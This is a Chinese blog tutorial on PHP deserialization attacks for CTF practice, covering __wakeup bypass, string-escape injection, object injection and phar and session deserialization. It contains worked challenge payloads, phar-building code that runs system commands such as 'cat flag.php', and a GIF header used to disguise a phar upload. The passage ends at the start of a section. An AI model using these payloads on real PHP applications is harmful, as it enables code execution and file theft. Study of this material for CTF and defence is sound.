6643 字
33 分钟
PHP序列化与反序列化
2026-02-22

序列化#

概述#

序列化(Serialization),简单来说,就是把内存中的对象 / 数据结构(比如 Python 里的字典、Java 里的类实例)转换成字节流、JSON 字符串、XML 等可存储或可传输格式的过程

序列化值#

空字符
null -> N;
整型Integer
123 ->i:123;
浮点型double
1.5 -> d:1.5;
boolean型
true -> b:1;
false -> b:0;
字符串String
"hello" -> s:5:"hello";
数组Array - 分配数字键
array("b") -> a:1:{i:0;s:1:"b"};
对象Object - 不分配数字键
class User{public $n="x"} -> O:4:"User":1:{s:1:"n";s:1:"x"}; //O必须大写

数组讲解

例子一
//(a:1)一个数组array,包含一个元素;
//({...})包裹数组的键值对
//(i:0;)键是整数类型,值为零。当创建数组时没有显式指定键名(abc是指定键),PHP会自动生成数字索引,并且从0开始依次递增,就是分配数字键
//(s:1:"b")值的介绍
array("apple", "banana", "cherry") ->
a:3:{i:0;s:5:"apple";i:1;s:6:"banana";i:2;s:6:"cherry";}

类的访问权限修饰符#

  • public 公共的,在类的内部、子类和类的外部中都可以被调用; // 被序列化时属性值:属性名

  • protected 受保护的,在类的内部和子类可以被调用,在类的外部不可调用; // 被序列化时属性值: \x00*\x00 属性名

  • private 私有的,只能在类的内部调用,在子类和类的外部不可调用; // 被序列化时属性值: \x00 类名 \x00 属性名

pop链序列化#

<?php
class test1
{
public $a = "hello";
public $b = true;
public $c = 123;
}
$obj = new test1();
echo serialize($obj);

序列化结果

O:5:"test1":3:{s:1:"a";s:5:"hello";s:1:"b";b:1;s:1:"c";i:123;}

数组序列化#

<?php
//PHP自带基础数据类型,不用class
$arr = [
"a" => "hello",
"b" => true,
"c" => 123
];
echo serialize($arr);

序列化结果

a:3:{s:1:"a";s:5:"hello";s:1:"b";b:1;s:1:"c";i:123;}
//这个不用i:0 1 2是因为序列化时指定了键,abc,时字符串类型的键,所以不用数字的再次指定

protected#

如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式

<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
/*
输出:
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A9%3A%22xiaoshizi%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A8%3A%22laoshizi%22%3B%7D
*/

反序列化#

概述#

反序列化,简单来说,就是把序列化过程生成的字节流、JSON 字符串、XML 等可存储 / 可传输格式的数据,还原为程序内存中可直接操作的对象 / 数据结构(比如 Python 里的字典、Java 里的类实例、PHP 里的数组 / 对象)的过程

魔术方法#

__construct() //对象被实例化时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

绕过方法#

1. php7.1+反序列化对类属性不敏感#

序列化中最后一部分说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00,但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
#输出:abc

例题[网鼎杯 2020 青龙组]AreUSerialz

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//process() 中op=1时触发的写文件方法,但是我们让op=2,不走这个分支,也就不会触发
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
//辅助输出
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

乍一看很多,仔细分析:找到危险函数 file_get_contents,接着回溯找调用逻辑链。 file_get_contents所在是read(),read()在process()中被调用,process()在__destruct()中被调用。所以调用过程:__destruct()--> process()-->read()

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

接下来分析这个调用过程,有两个绕过

  • __destruct()中要求op!===2process()中要求op==2

  • 绕过is_valid() 函数

  • 绕过一 既要op!===2,又要op==2,那么就用$op=2绕过,类型整数不等于字符串但数值相等

  • 绕过二 涉及到除__destruct()、process()、read()之外的其它方法,不参与逻辑推理,但是会对整个过程起到限制、校验的作用

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
//限制GET传参,且传入的字符串需经过 is_valid 校验

private和protected属性经过序列化都存在不可打印字符在32-125之外,但是对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

所以最终的payload就构造完了

<?php
class FileHandler {
public $op = 2;
public $filename = "/var/www/html/flag.php";
public $content;
}
$obj = new FileHandler();// 新建对象
echo serialize($obj);// 序列化这个对象,输出字符串
?>
/*输出:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";N;}
*/

2. __wakeup绕过#

版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
$t='O:4:"test":1:{s:1:"a";s:4:"yyds";}';
unserialize($t);

如果执行unserialize(‘O:4:“test”:1:{s:1:“a”;s:4:“yyds”;}’);输出结果为666; 而把对象属性个数的值增大执行unserialize(‘O:4:“test”:2:{s:1:“a”;s:4:“yyds”;}’);输出结果为yyds

例题[极客大挑战 2019]PHP

//重点看class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

要想echo flag,需要让username强=admin,并且password=100,但是__weakup()魔术方法会把username重置为guest,因此我们需要绕过weakup()

<?php
class Name {
private $username='admin';
private $password=100;
}
$a=new Name;
echo serialize($a);
?>
/*输出:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
*/

这样的话,表示对象属性个数的值等于真实的属性个数(两个,username和password),所以我们需要修改输出的序列化字符串的表示对象属性个数的值:2改3

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

3. 绕过正则匹配序列化标签#

3.1 加号绕过#

注意在url里传参时 + 要编码为 %2B

$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));

3.2 serialize( array( a) );#

a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

3.3 利用 引用 使两值恒等#

<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a; //关键一行
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

3.4 16进制绕过字符过滤#

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

4 字符串逃逸#

4.1 原因/理#

当开发者使用先将对象序列化,再将对象进行过滤,最后反序列化的思路进行时,就容易产生字符串逃逸漏洞

  • 根本原因: 在对象被序列化之后、反序列化之前,程序对这段序列化字符串进行了“修改”(通常是字符串替换)
  • 原理: 利用 PHP 严格按照声明长度读取字符串的特性,通过长度差,让 PHP 把我们注入的恶意字符串当作正常的序列化结构(如属性、对象)来解析

4.2 案例#

这里直接copy一下,假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>

这一段程序的输出结果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0。

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

这一段程序的输出为:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

s:5:"admin";
s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串和目标子串进行对比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。

首先计算我们需要注入的目标子串的长度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri;
echo '------------------------------------------------------------';
echo $a_seri_filter;
?>

输出结果为

O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串会被抛弃

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>

程序输出如下:

object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

4.3 例题#

<?php
highlight_file(__FILE__);
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
unserialize(filter(serialize(new a($uname,$password))));
?> wrong password

想办法把password=‘yu22x’传进去,payload为:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

4.4 过滤后字符变少#

也是copy,首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

输出结果:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串和目标子串:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
//长度为47

再计算一下到下一个可控变量的字符串长度:

";s:8:"password";s:6:"
//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

完整代码如下:(这里的变量里一共有22个admin)

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

输出结果:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

这里我们需要仔细看一下s后面是110,也就是说我们需要读取到110个字符。从第一个引号开始,110个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

完整代码为:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

输出:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
//选中部分
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"

选中部分一共有111个字符,

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加1个admin,这样就可以补上缺少的字符。

修改后代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

分析一下输出结果:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

可以看到,这样就对了。

我们将对象反序列化然后输出,代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>

得到结果:

object(user)#2 (3) {
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

tips:数组逃逸闭合要加一个},即用”;}闭合

对象注入#

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。对象注入类似于一个利用反序列化魔术方法进行变量覆盖的过程。

对象漏洞出现得满足两个前提

  • unserialize的参数可控。
  • 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

给出一个案例帮助理解

<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出maomi

phar反序列化#

phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。 .phar文件的最大特点将几个文件组合成一个文件的便捷方式。 .phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法

1. phar文件结构#

  • stub 一个供phar扩展用于识别的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。

  • manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点

  • contents 被压缩文件的内容。

  • signature 签名,放在文件末尾

2. 利用方法#

  • 可利用原因 使用phar://伪协议解析phar文件时对meta-data进行反序列化操作

  • 利用方法 将要序列化的内容写入meta-data中,再使用phar伪协议进行反序列化。首先需要生成phar文件,在php的配置文件中需要设置phar.readonly= Off

<?php
class A {
public $a;
public function __destruct()
{
system($this->a);
}
}
$a = new A();
$a->a='ls';
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以触发phar伪协议的函数

受影响函数列表
fileatimefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile
但实际上只要调用了php_stream_open_wrapper的函数,都存在这样的问题。因此还有以下函数:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
mime_content_type
standard
getimagesize
getimagesizefromstring
finfo
finfo_file
finfo_buffer
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
MySQL
LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。(非默认配置)
[mysqld]
local-infile=1
secure_file_priv=""

例题

<?php
//flag in flag.php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $a;
public function __destruct()
{
system($this->a);
}
}
if(isset($_GET['file'])) {
if(strstr($_GET['file'], "flag")) {
die("Get out!");
}
echo file_get_contents($_GET['file']);
}
if(isset($_FILES['file'])) {
mkdir("upload");
$uuid = uniqid();
$ext = explode(".", $_FILES["file"]["name"]);
$ext = end($ext);
move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".".$ext);
echo "Upload Success! FilePath: upload/".$uuid.".".$ext;
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="load" />
</form>
</body>
</html>

生成phar文件的代码:

<?php
class A {
public $a;
public function __destruct()
{
system($this->a);
}
}
$a = new A();
$a->a='ls';
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传后进行包含?file=phar://upload/62f305b4834b5.phar

<?php
class A {
public $a;
public function __destruct()
{
system($this->a);
}
}
$b = new A();
$b->a='cat flag.php';
$phar = new Phar("test4.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($b);//将自定义的meta-data存入manifest
$phar->addFromString("test4.txt", "test4");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成新phar文件读取并输出flag.php文件的内容,同样上传后进行包含,查看源码即可得到flag

3. 过滤绕过#

3.1 当环境限制了phar不能出现在前面的字符里#

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

3.2 验证文件格式#

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

加了GIF89a文件头,从而使其伪装成gif文件

session反序列化#

1. 序列化和反序列化session机制#

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

当第一次访问网站时,Seesion_start() 函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

除此之外,还需要知道session_start()这个函数已经这个函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

session 的存储机制php中的session中的内容不是放在内存中,而是以文件的方式来存储,存储方式由配置项session.save_handler来进行确定,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的。

常见的session存储路径

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

php.ini中一些session配置

session.save_path="" --设置session的存储路径
session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化session的处理器名字。默认使用php

2. 简单利用#

